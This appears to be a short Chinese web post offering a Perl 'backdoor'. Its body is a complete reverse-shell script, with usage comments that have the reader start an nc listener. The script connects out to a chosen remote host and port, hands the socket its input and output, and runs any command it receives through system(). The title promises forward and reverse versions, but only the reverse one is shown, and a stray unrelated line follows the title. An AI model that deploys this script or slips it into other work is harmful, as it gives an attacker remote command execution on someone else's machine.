perl后门,正向和反向!

色粉盒撒娇

1. #!/usr/bin/perl　　2. #usage:
　　3. #nc -vv -l -p PORT(default 1988) on your local system first,then
　　4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
　　5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
　　6. #nc -vv -l -p 1988
　　7. #perl backdoor.pl 127.0.0.1 1988
　　8.
　　9. #use strict;
　　10. use Socket;
　　11. use IO::Socket;
　　12. use Cwd;
　　13. use IO::Handle;
　　14. my $remote = $ARGV[0]|| "127.0.0.1";
　　15. my $remote_port = $ARGV[1]|| 1988;
　　16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
　　17. my $path = cwd();
　　18. $ARGC = @ARGV;
　　19. if ($ARGV[0]!~/-/)
　　20. {
　　21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
　　22. STDOUT->autoflush(1);
　　23. SOCKET->autoflush(1);
　　24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
　　25. open STDIN,">&SOCKET";
　　26. open STDOUT,">&SOCKET";
　　27. open STDERR,">&SOCKET";
　　28. print "You are in $path\n";
　　29. print "Welcome to use.\n";
　　30. print "console>\n";
　　31.
　　32. while () {
　　33. chomp;
　　34. if( lc($_) eq 'exit' ) {
　　35. print " Bye Bye!";
　　36. exit;
　　37. }
　　38. $msg=system($_);
　　39. if($msg){
　　40. print STDOUT "\n$msg\n";
　　41. print STDOUT "console>";
　　42. }else
　　43. {
　　44. print "console>";
　　45. }
　　46. }
　　47. close SOCKET;
　　48. exit;
　　49. }